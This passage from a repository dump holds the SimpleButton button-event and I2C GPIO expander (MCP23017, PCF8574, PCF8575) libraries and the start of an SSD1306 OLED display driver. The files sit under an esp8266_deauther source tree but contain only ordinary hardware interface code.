    "content": "#ifndef SimpleButton_Switch_h\n#define SimpleButton_Switch_h\n\n#include \"Button.h\"\n#include \"ButtonGPIOExpander.h\"\n\nnamespace simplebutton {\n    class Switch {\n        public:\n            Button* button = NULL;\n\n            Switch();\n            Switch(uint8_t pin);\n            Switch(GPIOExpander* pcf, uint8_t pin);\n            Switch(Button* button);\n\n            ~Switch();\n\n            void setup(uint8_t pin);\n            void setup(GPIOExpander* pcf, uint8_t pin);\n            void setup(Button* button);\n\n            void update();\n            void update(bool state);\n\n            void setButton(Button* button);\n\n            bool getState();\n            bool clicked();\n\n        private:\n            bool tmpState = false;\n    };\n}\n\n#endif // ifndef SimpleButton_Switch_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/ClickEvent.cpp",
    "content": "#include \"ClickEvent.h\"\n\nnamespace simplebutton {\n    ClickEvent::ClickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime) {\n        this->fnct           = fnct;\n        this->minPushTime    = minPushTime;\n        this->minReleaseTime = minReleaseTime;\n    }\n\n    ClickEvent::~ClickEvent() {\n        if (next) {\n            delete next;\n            next = NULL;\n        }\n    }\n\n    uint8_t ClickEvent::getMode() {\n        return MODE::CLICKED;\n    }\n\n    uint32_t ClickEvent::getMinPushTime() {\n        return minPushTime;\n    }\n\n    uint32_t ClickEvent::getMinReleaseTime() {\n        return minReleaseTime;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/ClickEvent.h",
    "content": "#ifndef SimpleButton_ClickEvent_h\n#define SimpleButton_ClickEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebutton {\n    class ClickEvent : public Event {\n        public:\n            ClickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime);\n            ~ClickEvent();\n\n            uint8_t getMode();\n            uint32_t getMinPushTime();\n            uint32_t getMinReleaseTime();\n\n        private:\n            uint32_t minPushTime    = 0;\n            uint32_t minReleaseTime = 0;\n    };\n}\n\n#endif // ifndef SimpleButton_ClickEvent_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/DoubleclickEvent.cpp",
    "content": "#include \"DoubleclickEvent.h\"\n\nnamespace simplebutton {\n    DoubleclickEvent::DoubleclickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime,\n                                       uint32_t timeSpan) {\n        this->fnct           = fnct;\n        this->minPushTime    = minPushTime;\n        this->minReleaseTime = minReleaseTime;\n        this->timeSpan       = timeSpan;\n    }\n\n    DoubleclickEvent::~DoubleclickEvent() {\n        if (next) {\n            delete next;\n            next = NULL;\n        }\n    }\n\n    uint8_t DoubleclickEvent::getMode() {\n        return MODE::DOUBLECLICKED;\n    }\n\n    uint32_t DoubleclickEvent::getMinPushTime() {\n        return minPushTime;\n    }\n\n    uint32_t DoubleclickEvent::getMinReleaseTime() {\n        return minReleaseTime;\n    }\n\n    uint32_t DoubleclickEvent::getTimeSpan() {\n        return timeSpan;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/DoubleclickEvent.h",
    "content": "#ifndef SimpleButton_DoubleclickEvent_h\n#define SimpleButton_DoubleclickEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebutton {\n    class DoubleclickEvent : public Event {\n        public:\n            DoubleclickEvent(ButtonEventFunction, uint32_t minPushTime, uint32_t minReleaseTime, uint32_t timeSpan);\n            ~DoubleclickEvent();\n\n            uint8_t getMode();\n            uint32_t getMinPushTime();\n            uint32_t getMinReleaseTime();\n            uint32_t getTimeSpan();\n\n        private:\n            uint32_t minPushTime    = 0;\n            uint32_t minReleaseTime = 0;\n            uint32_t timeSpan       = 0;\n    };\n}\n\n#endif // ifndef SimpleButton_DoubleclickEvent_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/Event.cpp",
    "content": "#include \"Event.h\"\n\nnamespace simplebutton {\n    Event::~Event() {\n        if (next) {\n            delete next;\n            next = NULL;\n        }\n    }\n\n    void Event::run() {\n        if (fnct) fnct();\n    }\n\n    uint8_t Event::getMode() {\n        return MODE::NONE;\n    }\n\n    uint32_t Event::getMinPushTime() {\n        return 0;\n    }\n\n    uint32_t Event::getMinReleaseTime() {\n        return 0;\n    }\n\n    uint32_t Event::getTimeSpan() {\n        return 0;\n    }\n\n    uint32_t Event::getInterval() {\n        return 0;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/Event.h",
    "content": "#ifndef SimpleButton_Event_h\n#define SimpleButton_Event_h\n\n#include \"Arduino.h\"\n#include <functional>\n\n#define ButtonEventFunction std::function<void()>fnct\n\nnamespace simplebutton {\n    class Event {\n        public:\n            Event* next = NULL;\n            enum MODE { NONE = 0, PUSHED = 1, RELEASED = 2, CLICKED = 3, DOUBLECLICKED = 4, HOLDING = 5 };\n\n            virtual ~Event();\n\n            virtual void run();\n\n            virtual uint8_t getMode();\n            virtual uint32_t getMinPushTime();\n            virtual uint32_t getMinReleaseTime();\n            virtual uint32_t getTimeSpan();\n            virtual uint32_t getInterval();\n\n        protected:\n            ButtonEventFunction = NULL;\n    };\n}\n\n#endif // ifndef Event_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/HoldEvent.cpp",
    "content": "#include \"HoldEvent.h\"\n\nnamespace simplebutton {\n    HoldEvent::HoldEvent(ButtonEventFunction, uint32_t interval) {\n        this->fnct     = fnct;\n        this->interval = interval;\n    }\n\n    HoldEvent::~HoldEvent() {\n        if (next) {\n            delete next;\n            next = NULL;\n        }\n    }\n\n    uint8_t HoldEvent::getMode() {\n        return MODE::HOLDING;\n    }\n\n    uint32_t HoldEvent::getInterval() {\n        return interval;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/HoldEvent.h",
    "content": "#ifndef SimpleButton_HoldEvent_h\n#define SimpleButton_HoldEvent_h\n\n#include \"Event.h\"\nnamespace simplebutton {\n    class HoldEvent : public Event {\n        public:\n            HoldEvent(ButtonEventFunction, uint32_t interval);\n            ~HoldEvent();\n\n            uint8_t getMode();\n            uint32_t getInterval();\n\n        private:\n            uint32_t interval = 0;\n    };\n}\n\n#endif // ifndef SimpleButton_HoldEvent_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/PushEvent.cpp",
    "content": "#include \"PushEvent.h\"\n\nnamespace simplebutton {\n    PushEvent::PushEvent(ButtonEventFunction) {\n        this->fnct = fnct;\n    }\n\n    PushEvent::~PushEvent() {\n        if (next) {\n            delete next;\n            next = NULL;\n        }\n    }\n\n    uint8_t PushEvent::getMode() {\n        return MODE::PUSHED;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/PushEvent.h",
    "content": "#ifndef SimpleButton_PushEvent_h\n#define SimpleButton_PushEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebutton {\n    class PushEvent : public Event {\n        public:\n            PushEvent(ButtonEventFunction);\n            ~PushEvent();\n\n            uint8_t getMode();\n    };\n}\n\n#endif // ifndef SimpleButton_PushEvent_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/ReleaseEvent.cpp",
    "content": "#include \"ReleaseEvent.h\"\n\nnamespace simplebutton {\n    ReleaseEvent::ReleaseEvent(ButtonEventFunction) {\n        this->fnct = fnct;\n    }\n\n    ReleaseEvent::~ReleaseEvent() {\n        if (next) {\n            delete next;\n            next = NULL;\n        }\n    }\n\n    uint8_t ReleaseEvent::getMode() {\n        return MODE::RELEASED;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/Events/ReleaseEvent.h",
    "content": "#ifndef SimpleButton_ReleaseEvent_h\n#define SimpleButton_ReleaseEvent_h\n\n#include \"Event.h\"\n\nnamespace simplebutton {\n    class ReleaseEvent : public Event {\n        public:\n            ReleaseEvent(ButtonEventFunction);\n            ~ReleaseEvent();\n\n            uint8_t getMode();\n    };\n}\n\n#endif // ifndef SimpleButton_ReleaseEvent_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/LICENSE",
    "content": "MIT License\n\nCopyright (c) 2018 Stefan Kremser\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/SimpleButton.h",
    "content": "#ifndef SimpleButton_h\n#define SimpleButton_h\n\n#include \"Buttons/Button.h\"\n#include \"Buttons/ButtonGPIOExpander.h\"\n#include \"Buttons/ButtonPullup.h\"\n#include \"Buttons/ButtonPullupGPIOExpander.h\"\n#include \"Buttons/ButtonAnalog.h\"\n#include \"Buttons/Switch.h\"\n#include \"Buttons/RotaryEncoder.h\"\n#include \"Buttons/RotaryEncoderI2C.h\"\n#include \"Buttons/AnalogStick.h\"\n#include \"Buttons/PS2Gamepad.h\"\n\n#endif // ifndef SimpleButton_h\n"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/GPIOExpander.cpp",
    "content": "#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n    void GPIOExpander::setup(uint8_t address) {\n        this->wire    = &Wire;\n        this->address = address;\n        write(0);\n    }\n\n    void GPIOExpander::setup(uint8_t address, TwoWire* wire) {\n        this->wire    = wire;\n        this->address = address;\n        write(0);\n    }\n\n    bool GPIOExpander::connected() {\n        return error == 0;\n    }\n\n    String GPIOExpander::getError() {\n        String msg;\n\n        switch (error) {\n        case 0:\n            msg += String(F(\"OK\"));\n            break;\n\n        case 1:\n            msg += String(F(\"Data too long to fit in transmit buffer\"));\n            break;\n\n        case 2:\n            msg += String(F(\"Received NACK on transmit of address\"));\n            break;\n\n        case 3:\n            msg += String(F(\"Received NACK on transmit of data\"));\n\n        case 4:\n            msg += String(F(\"Unknown transmission error\"));\n            break;\n\n        case 5:\n            msg += String(F(\"Pin error\"));\n            break;\n\n        case 6:\n            msg += String(F(\"I2C error\"));\n            break;\n        }\n\n        return msg;\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/GPIOExpander.h",
    "content": "#ifndef SimpleButton_GPIOExpander_h\n#define SimpleButton_GPIOExpander_h\n\n#include \"Arduino.h\"\n#include <Wire.h>\n\n#define PCF_PIN_ERROR 5\n#define PCF_I2C_ERROR 6\n\nnamespace simplebutton {\n    class GPIOExpander {\n        public:\n            virtual ~GPIOExpander() = default;\n\n            virtual void setup(uint8_t address);\n            virtual void setup(uint8_t address, TwoWire* wire);\n\n            virtual int read() = 0;\n            virtual int read(uint8_t pin) = 0;\n\n            virtual void write(int value) = 0;\n            virtual void write(uint8_t pin, bool value) = 0;\n\n            virtual void toggle() = 0;\n            virtual void toggle(uint8_t pin) = 0;\n\n            virtual bool connected();\n            virtual String getError();\n\n        protected:\n            uint8_t error = 0;\n\n            TwoWire* wire;\n            uint8_t address;\n    };\n}\n#endif // ifndef SimpleButton_GPIOExpander_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/MCP23017.cpp",
    "content": "#include \"MCP23017.h\"\nnamespace simplebutton {\n    MCP23017::MCP23017(uint8_t address) {\n        setup(address);\n    }\n\n    MCP23017::MCP23017(uint8_t address, TwoWire* wire) {\n        setup(address, wire);\n    }\n\n    MCP23017::~MCP23017() {}\n\n    void MCP23017::setup(uint8_t address) {\n        setup(address, &Wire);\n    }\n\n    void MCP23017::setup(uint8_t address, TwoWire* wire) {\n        this->address = address;\n        this->wire    = wire;\n\n        setIO();\n        setPullups();\n    }\n\n    int MCP23017::read() {\n        this->pinData = readRegister16(0x12); // 0x12 = GPIOA\n\n        return this->pinData;\n    }\n\n    int MCP23017::read(uint8_t pin) {\n        if (pin >= 16) {\n            error = PCF_PIN_ERROR;\n            return 0;\n        }\n\n        // make sure the pin is set to be an input\n        if (getPinMode(pin) == OUTPUT) {\n            bool pullup = getPinState(pin);\n            setPinMode(pin, pullup ? INPUT_PULLUP : INPUT);\n        }\n\n        return (read() >> pin) & 0x1;\n    }\n\n    void MCP23017::write(int value) {\n        // make sure all pins are set as outputs\n        for (int i = 0; i < 16; i++) {\n            bool output = (value >> i) & 0x1;\n            if (output && (getPinMode(i) != OUTPUT)) setPinMode(i, OUTPUT);\n        }\n\n        this->pinData = value;\n\n        writeRegister(0x12, value); // 0x12 = GPIOA\n    }\n\n    void MCP23017::write(uint8_t pin, bool value) {\n        if (pin >= 16) {\n            error = PCF_PIN_ERROR;\n            return;\n        }\n\n        if (getPinState(pin) != value) toggle(pin);\n    }\n\n    void MCP23017::toggle() {\n        pinData = ~pinData;\n        write(pinData);\n    }\n\n    void MCP23017::toggle(uint8_t pin) {\n        if (pin >= 16) {\n            error = PCF_PIN_ERROR;\n            return;\n        }\n\n        pinData ^= 1 << pin;\n        write(pinData);\n    }\n\n    void MCP23017::setIO() {\n        writeRegister(0x00, this->pinModes); // 0x00 = IODIRA register\n    }\n\n    void MCP23017::setPullups() {\n        writeRegister(0x0C, this->pinPullups); // 0x0C = GPPUA register\n    }\n\n    void MCP23017::setPinMode(uint8_t pin, uint8_t mode) {\n        if (pin >= 16) {\n            error = PCF_PIN_ERROR;\n            return;\n        }\n\n        if (getPinMode(pin) == mode) return;\n\n        bool input  = (mode == INPUT || mode == INPUT_PULLUP);\n        bool pullup = (mode == INPUT_PULLUP);\n\n        bitWrite(pinModes, pin, input);\n        bitWrite(pinPullups, pin, pullup);\n\n        setIO();\n        setPullups();\n    }\n\n    uint8_t MCP23017::getPinMode(uint8_t pin) {\n        if (pin >= 16) {\n            error = PCF_PIN_ERROR;\n            return 0;\n        }\n\n        bool input  = (this->pinModes >> pin) & 0x1;\n        bool pullup = (this->pinPullups >> pin) & 0x1;\n\n        if (!input) return OUTPUT;\n\n        if (pullup) return INPUT_PULLUP;\n\n        return INPUT;\n    }\n\n    bool MCP23017::getPinState(uint8_t pin) {\n        if (pin >= 16) {\n            error = PCF_PIN_ERROR;\n            return false;\n        }\n\n        return (pinData >> pin) & 0x1;\n    }\n\n    uint8_t MCP23017::readRegister8(uint8_t address) {\n        wire->beginTransmission(this->address);\n        wire->write(address);\n        error = wire->endTransmission();\n\n        wire->requestFrom(this->address, (uint8_t)1);\n\n        if (wire->available() == 1) {\n            return wire->read();\n        } else {\n            error = PCF_I2C_ERROR;\n            return 0;\n        }\n    }\n\n    uint16_t MCP23017::readRegister16(uint8_t address) {\n        wire->beginTransmission(this->address);\n        wire->write(address);\n        error = wire->endTransmission();\n\n        wire->requestFrom(this->address, (uint8_t)2);\n\n        if (wire->available() == 2) {\n            uint16_t dataA = wire->read();\n            uint16_t dataB = wire->read();\n\n            return (dataB << 8) | dataA;\n        } else {\n            error = PCF_I2C_ERROR;\n            return 0;\n        }\n    }\n\n    void MCP23017::writeRegister(uint8_t address, uint16_t value) {\n        wire->beginTransmission(this->address);\n        wire->write(address);\n        wire->write(value & 0xFF);\n        wire->write(value >> 8);\n        error = wire->endTransmission();\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/MCP23017.h",
    "content": "#ifndef SimpleButton_MCP23017_h\n#define SimpleButton_MCP23017_h\n\n#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n    class MCP23017 : public GPIOExpander {\n        public:\n            MCP23017(uint8_t address);\n            MCP23017(uint8_t address, TwoWire* wire);\n\n            ~MCP23017();\n\n            void setup(uint8_t address);\n            void setup(uint8_t address, TwoWire* wire);\n\n            int read();\n            int read(uint8_t pin);\n\n            void write(int value);\n            void write(uint8_t pin, bool value);\n\n            void toggle();\n            void toggle(uint8_t pin);\n\n        private:\n            uint16_t pinData    = 0x0000;\n            uint16_t pinModes   = 0x0000;\n            uint16_t pinPullups = 0x0000;\n\n            void setIO();\n            void setPullups();\n\n            void setPinMode(uint8_t pin, uint8_t mode);\n            uint8_t getPinMode(uint8_t pin);\n\n            bool getPinState(uint8_t pin);\n\n            uint8_t readRegister8(uint8_t address);\n            uint16_t readRegister16(uint8_t address);\n\n            void writeRegister(uint8_t address, uint16_t value);\n    };\n}\n\n#endif // ifndef SimpleButton_MCP23017_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/PCF8574.cpp",
    "content": "#include \"PCF8574.h\"\n\nnamespace simplebutton {\n    PCF8574::PCF8574(uint8_t address) {\n        setup(address);\n    }\n\n    PCF8574::PCF8574(uint8_t address, TwoWire* wire) {\n        setup(address, wire);\n    }\n\n    PCF8574::~PCF8574() {}\n\n    int PCF8574::read() {\n        wire->requestFrom(address, (uint8_t)1);\n\n        data = 0;\n\n        if (wire->available() >= 1) {\n            data = wire->read();\n        } else {\n            error = PCF_I2C_ERROR;\n        }\n\n        return data;\n    }\n\n    int PCF8574::read(uint8_t pin) {\n        if (pin < 8) {\n            data = read();\n            return (data & (1 << pin)) > 0;\n        } else {\n            error = PCF_PIN_ERROR;\n            return -1;\n        }\n    }\n\n    void PCF8574::write(int value) {\n        wire->beginTransmission(address);\n\n        pinModeMask &= 0xff00;\n        pinModeMask |= value;\n        data         = pinModeMask;\n\n        wire->write(data);\n\n        error = wire->endTransmission();\n    }\n\n    void PCF8574::write(uint8_t pin, bool value) {\n        if (pin >= 8) {\n            error = PCF_PIN_ERROR;\n            return;\n        }\n\n        if (value) pinModeMask |= value << pin;\n        else pinModeMask &= ~(1 << pin);\n\n        write(pinModeMask);\n    }\n\n    void PCF8574::toggle() {\n        pinModeMask = ~pinModeMask;\n        write(pinModeMask);\n    }\n\n    void PCF8574::toggle(uint8_t pin) {\n        if (pin < 8) {\n            pinModeMask ^= 1 << pin;\n\n            write(pinModeMask);\n        } else {\n            error = PCF_PIN_ERROR;\n        }\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/PCF8574.h",
    "content": "#ifndef SimpleButton_PCF8574_h\n#define SimpleButton_PCF8574_h\n\n#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n    class PCF8574 : public GPIOExpander {\n        public:\n            PCF8574(uint8_t address);\n            PCF8574(uint8_t address, TwoWire* wire);\n            ~PCF8574();\n\n            int read();\n            int read(uint8_t pin);\n\n            void write(int value);\n            void write(uint8_t pin, bool value);\n\n            void toggle();\n            void toggle(uint8_t pin);\n\n        private:\n            uint8_t data;\n            uint8_t pinModeMask;\n    };\n}\n\n#endif // ifndef SimpleButton_PCF8574_h"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/PCF8575.cpp",
    "content": "#include \"PCF8575.h\"\n\nnamespace simplebutton {\n    PCF8575::PCF8575(uint8_t address) {\n        setup(address);\n    }\n\n    PCF8575::PCF8575(uint8_t address, TwoWire* wire) {\n        setup(address, wire);\n    }\n\n    PCF8575::~PCF8575() {}\n\n    int PCF8575::read() {\n        wire->requestFrom(address, (uint8_t)2);\n\n        data = 0;\n\n        if (wire->available() >= 2) {\n            data  = wire->read();\n            data |= wire->read() << 8;\n        }\n\n        return data;\n    }\n\n    int PCF8575::read(uint8_t pin) {\n        data = read();\n\n        return (data & (1 << pin)) > 0;\n    }\n\n    void PCF8575::write(int value) {\n        wire->beginTransmission(address);\n\n        pinModeMask = value;\n        data        = pinModeMask;\n\n        wire->write((uint8_t)data);\n        wire->write((uint8_t)(data >> 8));\n\n        wire->endTransmission();\n    }\n\n    void PCF8575::write(uint8_t pin, bool value) {\n        if (value) pinModeMask |= value << pin;\n        else pinModeMask &= ~(1 << pin);\n\n        write(pinModeMask);\n    }\n\n    void PCF8575::toggle() {\n        pinModeMask = ~pinModeMask;\n        write(pinModeMask);\n    }\n\n    void PCF8575::toggle(uint8_t pin) {\n        pinModeMask ^= 1 << pin;\n\n        write(pinModeMask);\n    }\n}"
  },
  {
    "path": "esp8266_deauther/src/SimpleButton/libs/PCF8575.h",
    "content": "#ifndef SimpleButton_PCF8575_h\n#define SimpleButton_PCF8575_h\n\n#include \"GPIOExpander.h\"\n\nnamespace simplebutton {\n    class PCF8575 : public GPIOExpander {\n        public:\n            PCF8575(uint8_t address);\n            PCF8575(uint8_t address, TwoWire* wire);\n\n            ~PCF8575();\n\n            int read();\n            int read(uint8_t pin);\n\n            void write(int value);\n            void write(uint8_t pin, bool value);\n\n            void toggle();\n            void toggle(uint8_t pin);\n\n        private:\n            uint16_t data;\n            uint16_t pinModeMask;\n    };\n}\n#endif // ifndef SimpleButton_PCF8575_h"
  },
  {
    "path": "esp8266_deauther/src/esp8266-oled-ssd1306-4.1.0/OLEDDisplay.cpp",
    "content": "/**\n * The MIT License (MIT)\n *\n * Copyright (c) 2018 by ThingPulse, Daniel Eichhorn\n * Copyright (c) 2018 by Fabrice Weinberg\n * Copyright (c) 2019 by Helmut Tschemernjak - www.radioshuttle.de\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n *\n * ThingPulse invests considerable time and money to develop these open source libraries.\n * Please support us by buying our products (and not the clones) from\n * https://thingpulse.com\n *\n */\n\n /*\n  * TODO Helmut\n  * - test/finish dislplay.printf() on mbed-os\n  * - Finish _putc with drawLogBuffer when running display\n  */\n\n#include \"OLEDDisplay.h\"\n\nOLEDDisplay::OLEDDisplay() {\n\n\tdisplayWidth = 128;\n\tdisplayHeight = 64;\n\tdisplayBufferSize = displayWidth * displayHeight / 8;\n\tcolor = WHITE;\n\tgeometry = GEOMETRY_128_64;\n\ttextAlignment = TEXT_ALIGN_LEFT;\n\tfontData = ArialMT_Plain_10;\n\tfontTableLookupFunction = DefaultFontTableLookup;\n\tbuffer = NULL;\n#ifdef OLEDDISPLAY_DOUBLE_BUFFER\n\tbuffer_back = NULL;\n#endif\n}\n\nOLEDDisplay::~OLEDDisplay() {\n  end();\n}\n\nbool OLEDDisplay::allocateBuffer() {\n\n  logBufferSize = 0;\n  logBufferFilled = 0;\n  logBufferLine = 0;\n  logBufferMaxLines = 0;\n  logBuffer = NULL;\n\t\n  if (!this->connect()) {\n    DEBUG_OLEDDISPLAY(\"[OLEDDISPLAY][init] Can't establish connection to display\\n\");\n    return false;\n  }\n\n  if(this->buffer==NULL) {\n    this->buffer = (uint8_t*) malloc((sizeof(uint8_t) * displayBufferSize) + getBufferOffset());\n    this->buffer += getBufferOffset();\n\n    if(!this->buffer) {\n      DEBUG_OLEDDISPLAY(\"[OLEDDISPLAY][init] Not enough memory to create display\\n\");\n      return false;\n    }\n  }\n\n  #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n  if(this->buffer_back==NULL) {\n    this->buffer_back = (uint8_t*) malloc((sizeof(uint8_t) * displayBufferSize) + getBufferOffset());\n    this->buffer_back += getBufferOffset();\n  \n    if(!this->buffer_back) {\n      DEBUG_OLEDDISPLAY(\"[OLEDDISPLAY][init] Not enough memory to create back buffer\\n\");\n      free(this->buffer - getBufferOffset());\n      return false;\n    }\n  }\n  #endif\n\n  return true;\n}\n\nbool OLEDDisplay::init() {\n\n  if(!allocateBuffer()) {\n    return false;\n  }\n\n  sendInitCommands();\n  resetDisplay();\n\n  return true;\n}\n\nvoid OLEDDisplay::end() {\n  if (this->buffer) { free(this->buffer - getBufferOffset()); this->buffer = NULL; }\n  #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n  if (this->buffer_back) { free(this->buffer_back - getBufferOffset()); this->buffer_back = NULL; }\n  #endif\n  if (this->logBuffer != NULL) { free(this->logBuffer); this->logBuffer = NULL; }\n}\n\nvoid OLEDDisplay::resetDisplay(void) {\n  clear();\n  #ifdef OLEDDISPLAY_DOUBLE_BUFFER\n  memset(buffer_back, 1, displayBufferSize);\n  #endif\n  display();\n}\n\nvoid OLEDDisplay::setColor(OLEDDISPLAY_COLOR color) {\n  this->color = color;\n}\n\nOLEDDISPLAY_COLOR OLEDDisplay::getColor() {\n  return this->color;\n}\n\nvoid OLEDDisplay::setPixel(int16_t x, int16_t y) {\n  if (x >= 0 && x < this->width() && y >= 0 && y < this->height()) {\n    switch (color) {\n      case WHITE:   buffer[x + (y / 8) * this->width()] |=  (1 << (y & 7)); break;\n      case BLACK:   buffer[x + (y / 8) * this->width()] &= ~(1 << (y & 7)); break;\n      case INVERSE: buffer[x + (y / 8) * this->width()] ^=  (1 << (y & 7)); break;\n    }\n  }\n}\n\nvoid OLEDDisplay::setPixelColor(int16_t x, int16_t y, OLEDDISPLAY_COLOR color) {\n  if (x >= 0 && x < this->width() && y >= 0 && y < this->height()) {\n    switch (color) {\n      case WHITE:   buffer[x + (y / 8) * this->width()] |=  (1 << (y & 7)); break;\n      case BLACK:   buffer[x + (y / 8) * this->width()] &= ~(1 << (y & 7)); break;\n      case INVERSE: buffer[x + (y / 8) * this->width()] ^=  (1 << (y & 7)); break;\n    }\n  }\n}\n\nvoid OLEDDisplay::clearPixel(int16_t x, int16_t y) {\n  if (x >= 0 && x < this->width() && y >= 0 && y < this->height()) {\n    switch (color) {\n      case BLACK:   buffer[x + (y >> 3) * this->width()] |=  (1 << (y & 7)); break;\n      case WHITE:   buffer[x + (y >> 3) * this->width()] &= ~(1 << (y & 7)); break;\n      case INVERSE: buffer[x + (y >> 3) * this->width()] ^=  (1 << (y & 7)); break;\n    }\n  }\n}\n\n\n// Bresenham's algorithm - thx wikipedia and Adafruit_GFX\nvoid OLEDDisplay::drawLine(int16_t x0, int16_t y0, int16_t x1, int16_t y1) {\n  int16_t steep = abs(y1 - y0) > abs(x1 - x0);\n  if (steep) {\n    _swap_int16_t(x0, y0);\n    _swap_int16_t(x1, y1);\n  }\n\n  if (x0 > x1) {\n    _swap_int16_t(x0, x1);\n    _swap_int16_t(y0, y1);\n  }\n\n  int16_t dx, dy;\n  dx = x1 - x0;\n  dy = abs(y1 - y0);\n\n  int16_t err = dx / 2;\n  int16_t ystep;\n\n  if (y0 < y1) {\n    ystep = 1;\n  } else {\n    ystep = -1;\n  }\n\n  for (; x0<=x1; x0++) {\n    if (steep) {\n      setPixel(y0, x0);\n    } else {\n      setPixel(x0, y0);\n    }\n    err -= dy;\n    if (err < 0) {\n      y0 += ystep;\n      err += dx;\n    }\n  }\n}\n\nvoid OLEDDisplay::drawRect(int16_t x, int16_t y, int16_t width, int16_t height) {\n  drawHorizontalLine(x, y, width);\n  drawVerticalLine(x, y, height);\n  drawVerticalLine(x + width - 1, y, height);\n  drawHorizontalLine(x, y + height - 1, width);\n}\n\nvoid OLEDDisplay::fillRect(int16_t xMove, int16_t yMove, int16_t width, int16_t height) {\n  for (int16_t x = xMove; x < xMove + width; x++) {\n    drawVerticalLine(x, yMove, height);\n  }\n}\n\nvoid OLEDDisplay::drawCircle(int16_t x0, int16_t y0, int16_t radius) {\n  int16_t x = 0, y = radius;\n\tint16_t dp = 1 - radius;\n\tdo {\n\t\tif (dp < 0)\n\t\t\tdp = dp + (x++) * 2 + 3;\n\t\telse\n\t\t\tdp = dp + (x++) * 2 - (y--) * 2 + 5;\n\n\t\tsetPixel(x0 + x, y0 + y);     //For the 8 octants\n\t\tsetPixel(x0 - x, y0 + y);\n\t\tsetPixel(x0 + x, y0 - y);\n\t\tsetPixel(x0 - x, y0 - y);\n\t\tsetPixel(x0 + y, y0 + x);\n\t\tsetPixel(x0 - y, y0 + x);\n\t\tsetPixel(x0 + y, y0 - x);\n\t\tsetPixel(x0 - y, y0 - x);\n\n\t} while (x < y);\n\n  setPixel(x0 + radius, y0);\n  setPixel(x0, y0 + radius);\n  setPixel(x0 - radius, y0);\n  setPixel(x0, y0 - radius);\n}\n\nvoid OLEDDisplay::drawCircleQuads(int16_t x0, int16_t y0, int16_t radius, uint8_t quads) {\n  int16_t x = 0, y = radius;\n  int16_t dp = 1 - radius;\n  while (x < y) {\n    if (dp < 0)\n      dp = dp + (x++) * 2 + 3;\n    else\n      dp = dp + (x++) * 2 - (y--) * 2 + 5;\n    if (quads & 0x1) {\n      setPixel(x0 + x, y0 - y);\n      setPixel(x0 + y, y0 - x);\n    }\n    if (quads & 0x2) {\n      setPixel(x0 - y, y0 - x);\n      setPixel(x0 - x, y0 - y);\n    }\n    if (quads & 0x4) {\n      setPixel(x0 - y, y0 + 